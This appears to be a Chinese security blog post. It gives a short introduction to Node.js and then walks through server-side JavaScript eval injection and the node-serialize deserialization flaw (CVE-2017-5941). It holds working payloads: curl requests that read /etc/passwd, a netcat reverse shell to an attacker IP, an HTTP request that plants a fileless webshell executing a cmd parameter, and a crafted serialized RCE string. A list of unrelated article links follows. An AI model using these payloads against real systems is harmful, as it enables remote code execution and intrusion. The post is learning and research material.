0x01 简介

  什么是nodejs,it's javascript webserver!

  JS是脚本语言,脚本语言都需要一个解析器才能运行。对于写在HTML页面里的JS,浏览器充当了解析器的角色。而对于需要独立运行的JS,NodeJS就是一个解析器。

  每一种解析器都是一个运行环境,不但允许JS定义各种数据结构,进行各种计算,还允许JS使用运行环境提供的内置对象和方法做一些事情。例如运行在浏览器中的JS的用途是操作DOM,浏览器就提供了document之类的内置对象。而运行在NodeJS中的JS的用途是操作磁盘文件或搭建HTTP服务器,NodeJS就相应提供了fshttp等内置对象。

0x02 测试

  直接下载编译好的exe放到系统目录下(当然也可以使用msi安装包进行安装 http://nodejs.cn/#download),查看版本,和解析js命令

文件操作

  NodeJS提供了基本的文件操作API,但是像文件拷贝这种高级功能就没有提供,因此我们先拿文件拷贝程序练手。与copy命令类似,我们的程序需要能接受源文件路径与目标文件路径两个参数。

  文件拷贝

  我们使用NodeJS内置的fs模块简单实现这个程序如下。

var fs = require('fs');

function copy(src, dst) {
fs.writeFileSync(dst, fs.readFileSync(src));
} function main(argv) {
copy(argv[0], argv[1]);
} main(process.argv.slice(2));

  这里说一下,即使脚本的后缀不是以js结尾的,也是可以顺利执行的。

 网络操作

  不了解网络编程的程序员不是好前端,而NodeJS恰好提供了一扇了解网络编程的窗口。通过NodeJS,除了可以编写一些服务端程序来协助前端开发和测试外,还能够学习一些HTTP协议与Socket协议的相关知识。

  NodeJS本来的用途是编写高性能Web服务器。我们首先在这里重复一下官方文档里的例子,使用NodeJS内置的http模块简单实现一个HTTP服务器。

var http = require('http');

http.createServer(function (request, response) {
response.writeHead(200, { 'Content-Type': 'text-plain' });
response.end('Hello World\n');
}).listen(8124);

除了可以构建http服务器之外,还可以用作客户端发送http请求,like this

var options = {
hostname: 'www.example.com',
port: 80,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
}
}; var request = http.request(options, function (response) {}); request.write('Hello World');
request.end();

请求头和请求体都可以定制。

除文件操作和网络操作之外还有进程管理和异步编程等就不具体描述了,详细的可以查看官方api文档。

有了web服务端开发语言,那么像php语言一样有一些著名的框架(laravelCodeIgniterthinkphp)一样,Nodejs也有比较流行的框架,是Express。

express的安装  npm install express --save

0x03 ssjs 服务端javascript代码注入

  漏洞代码如下:

/**
* NodeBleed Original Bug: https://github.com/nodejs/node/issues/4660
* PoC: $ node nodejs-ssjs-nodebleed.js
* "Attack":
* - Direct Eval: $ curl http://localhost:8080/ -X POST -H "Content-Type: application/json" --data "res.end(require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'}))"
* - JSON Abuse: $ curl http://localhost:8080/ -X POST -H "Content-Type: application/json" --data "{\"str\":"1000",\"injection\":\"require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'})\"}"
* - NodeBleed: $ curl http://localhost:8080/ -X POST -H "Content-Type: application/json" --data "{\"str\":1000,\"injection\":\"\"}" | hexdump -C
*
* Insecure evals Payloads:
* - --data "{\"str\": \"1000\",\"injection\":\"require('child_process').exec('netcat -e /bin/sh IP 9999')\"}" ($ netcat -l -p 9999)
* - --data "{\"str\": 10000,\"injection\":\"require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'})\"}"
* All Node.js version (5.5.0 and 4.2.6) are vulnerable at the moment.
* $ nvm ls-remote (Play with different versions)
* @SiMpS0N - Fev/2016
*/ var http = require('http'); var server = http.createServer(function(req, res) {
console.log("### 0xOPOSEC Demos ###")
var data = ''
var injection = ''
req.setEncoding('utf8')
req.on('data', function(chunk) {
data += chunk
})
console.log(data)
req.on('end', function() {
/*Convert a JSON text into an object
* Tradional way (Not Secure):
* var body = eval("("+data+")")
* Attack: "res.end(require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'}))"
*/
//var body = eval("("+data+")")
/*
* Correct way:
*/
var body = JSON.parse(data) //SSJS Injection (eval JS code)
console.log("##SSJS Injection")
console.log("Payload: "+body.injection+"\n") injection = eval(body.injection) //NodeBleed (new Buffer(int)->MemoryDisclosure)
console.log("##NodeBleed")
console.log("Disclosure Bytes: "+body.str)
res.end(new Buffer(body.str) + "\n" + injection)
})
}) server.listen(8080)

简单分析一下,服务器端监听8080端口,对接收到post的json数据处理,其中injection字段的值进行了eval代码执行,那么payload构造起来就很简单,我们可以通过fs模块的readFileSync()函数去读比如 /etc/passwd 文件,如下图所示:

那创建一个无文件的小马如何?

POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:53.0) Gecko/20100101 Firefox/53.0
Host: 192.168.199.182:8080
Accept: */*
Content-Type: application/json
Content-Length: 301 {"str":1000,"injection":"setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {\"Content-Type\": \"text/plain\"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8000); }, 5000)"}

如上,我们是开启了一个8000端口的监听,并对传入的cmd参数进行命令执行,这样就达到了一个小马的效果。

0x04 反序列化漏洞

nodejs的node-serialize 模块曾经爆出过一个漏洞CVE-2017-5941可以参考https://www.exploit-db.com/docs/41289.pdf,该模块的源码在这里https://github.com/luin/serialize(好奇的是漏洞出了这么久,但是作者并没有去修复。。只是发了一个security warning。。)

这里简单介绍和复现一下:

注意,如果想要全局中使用这个node-serialize模块就要使用 -g的参数(npm全局安装和本地安装 http://www.cnblogs.com/chyingp/p/npm-install-difference-between-local-global.html),而且参考文章中版本也是0.0.4,也正好就是存在漏洞的版本。

生成payload的方式如下:

var y = {
rce : function(){
require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

Serialized:
{"rce":"_$$ND_FUNC$$_function (){\n require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\n }"}

但是生成的payload要修改才能够调用执行

{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr) { console.log(stdout) });}()"}  需要在整个function后面加(),「立即执行函数表达式」(Immediately-Invoked Function Expression,以下简称IIFE)参考:http://weizhifeng.net/immediately-invoked-function-expression.html

反序列化恶意payload,就执行了ls / 的命令,效果如下图所示

0x05 Refererence

1.https://nqdeng.github.io/7-days-nodejs/

2.http://www.runoob.com/nodejs/nodejs-express-framework.html

3.https://www.youtube.com/watch?v=puyOlZBudNI

4.http://expressjs.com/

5.慕课网nodejs学习 http://www.imooc.com/learn/348

6.http://www.kanxue.com/?article-read-1108.htm=&hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io

7.https://s1gnalcha0s.github.io/node/2015/01/31/SSJS-webshell-injection.html

8.http://paper.seebug.org/213/

9.https://bbs.ichunqiu.com/thread-24807-1-1.html?from=beef

nodejs学习以及SSJS漏洞的更多相关文章

  1. Nodejs学习路线图

    前言 用Nodejs已经1年有余,陆陆续续写了48篇关于Nodejs的博客文章,用过的包有上百个.和所有人一样,我也从Web开发开始,然后到包管 理,再到应用系统的开发,最后开源自己的Nodejs项目 ...

  2. Nodejs学习笔记(四)——支持Mongodb

    前言:回顾前面零零碎碎写的三篇挂着Nodejs学习笔记的文章,着实有点名不副实,当然,这篇可能还是要继续走着离主线越走越远的路子,从简短的介绍什么是Nodejs,到如何寻找一个可以调试的Nodejs ...

  3. Nodejs学习笔记(三)——一张图看懂Nodejs建站

    前言:一条线,竖着放,如果做不到精进至深,那就旋转90°,至少也图个幅度宽广. 通俗解释上面的胡言乱语:还没学会爬,就学起走了?! 继上篇<Nodejs学习笔记(二)——Eclipse中运行调试 ...

  4. Nodejs学习笔记(二)——Eclipse中运行调试Nodejs

    前篇<Nodejs学习笔记(一)——初识Nodejs>主要介绍了在搭建node环境过程中遇到的小问题以及搭建Eclipse开发Node环境的前提步骤.本篇主要介绍如何在Eclipse中运行 ...

  5. NodeJS学习笔记之Connect中间件模块(一)

    NodeJS学习笔记之Connect中间件模块(一) http://www.jb51.net/article/60430.htm NodeJS学习笔记之Connect中间件模块(二) http://w ...

  6. Nodejs学习笔记(六)--- Node.js + Express 构建网站预备知识

    目录 前言 新建express项目并自定义路由规则 如何提取页面中的公共部分? 如何提交表单并接收参数? GET 方式 POST 方式 如何字符串加密? 如何使用session? 如何使用cookie ...

  7. Nodejs学习笔记(十五)--- Node.js + Koa2 构建网站简单示例

    目录 前言 搭建项目及其它准备工作 创建数据库 创建Koa2项目 安装项目其它需要包 清除冗余文件并重新规划项目目录 配置文件 规划示例路由,并新建相关文件 实现数据访问和业务逻辑相关方法 编写mys ...

  8. Nodejs学习笔记(十六)--- Pomelo介绍&入门

    目录 前言&介绍 安装Pomelo 创建项目并启动 创建项目 项目结构说明 启动 测试连接 聊天服务器 新建gate和chat服务器 配置master.json 配置servers.json ...

  9. [转]Nodejs学习笔记(十五)--- Node.js + Koa2 构建网站简单示例

    本文转自:https://www.cnblogs.com/zhongweiv/p/nodejs_koa2_webapp.html 目录 前言 搭建项目及其它准备工作 创建数据库 创建Koa2项目 安装 ...

随机推荐

  1. 简单shellcode编写

    0x00 介绍 Shellcode 是指经过精心设计的一串指令,一旦注入正在运行的应用程序中即可运行,常用于栈和基于堆的溢出.术语Shellcode意思指的便是用于启动一个命令Shell的已编写好的可 ...

  2. Pycharm安装并配置jupyter notebook

    Pycharm安装并配置jupyter notebook Pycharm安装并配置jupyter notebook 一: 安装命令jupyter: pip install jupyter 如果缺少依赖 ...

  3. anaconda 环境新建/删除/拷贝 jupyter notebook上使用python虚拟环境 TensorFlow

    naconda修改国内镜像源 国外网络有时太慢,可以通过配置把下载源改为国内的通过 conda config 命令生成配置文件,这里使用清华的镜像: https://mirrors.tuna.tsin ...

  4. pytorch的函数中的group参数的作用

    1.当设置group=1时: conv = nn.Conv2d(in_channels=, out_channels=, kernel_size=, groups=) conv.weight.data ...

  5. [解读REST] 2.REST用来干什么的?

    衔接上文[解读REST] 1.REST的起源,介绍了REST的诞生背景.每当笔者遇到一个新事物的想去了解的时候,总是会问上自己第一个问题,这个新事物是干什么用的?在解释我所理解的REST这个过程中也不 ...

  6. ReSharper2018破解详细方法

    下载地址: 主程序官网下载链接:https://download.jetbrains.com/resharper/ReSharperUltimate.2018.3.3/JetBrains.ReShar ...

  7. 你所不知道的ASP.NET Core MVC/WebApi基础系列(一)

    前言 最近发表的EF Core貌似有点多,可别误以为我只专攻EF Core哦,私下有时间也是一直在看ASP.NET Core的内容,所以后续会穿插讲EF Core和ASP.NET Core,别认为你会 ...

  8. MyEclipse不自动编译问题

    没图,别找了... 我在MyEclipse上从SVN中导项目,导下的项目跑不起来,发现tomcat的classes中是空文件夹. 以下是在网上找的其他方法: 1.确保:Project->buil ...

  9. 周末学习笔记——day02(带参装饰器,wraps修改文档注释,三元表达式,列表字典推导式,迭代器,生成器,枚举对象,递归)

    一,复习 ''' 1.函数的参数:实参与形参 形参:定义函数()中出现的参数 实参:调用函数()中出现的参数 形参拿到实参的值,如果整体赋值(自己改变存放值的地址),实参不会改变,(可变类型)如果修改 ...

  10. WMI测试器

    WMI是... 来自百度百科:WMI(Windows Management Instrumentation,Windows 管理规范)是一项核心的 Windows 管理技术:用户可以使用 WMI 管理 ...